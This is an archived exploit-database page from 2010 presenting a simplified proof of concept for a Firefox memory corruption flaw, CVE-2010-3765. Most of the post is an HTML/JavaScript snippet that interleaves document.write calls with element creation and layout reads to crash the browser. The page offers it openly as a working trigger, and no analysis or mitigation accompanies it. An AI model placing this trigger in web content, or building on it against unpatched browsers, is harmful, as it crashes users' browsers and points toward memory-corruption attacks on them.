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[dos / poc] - Firefox Memory Corruption Proof of Concept (Si

Posted on 28 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Firefox Memory Corruption Proof of Concept (Simplified) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Firefox Memory Corruption Proof of Concept (Simplified) in dos / poc | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=======================================================
Firefox Memory Corruption Proof of Concept (Simplified)
=======================================================

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:
 
&lt;html&gt;&lt;body&gt;
&lt;script&gt;
 
  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }
 
  function crashme() {
    document.write(&quot;fooFOO&quot;);
    G(&quot;a&quot;);
    document.write(&quot;&lt;a lang&gt;&lt;/a&gt;a&quot;);
    G(&quot;base&quot;);
    document.write(&quot;barBAR&quot;);
    G(&quot;audio&quot;);
  }
&lt;/script&gt;
&lt;script&gt;crashme();&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
 

# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-28]</pre></body></html>

 

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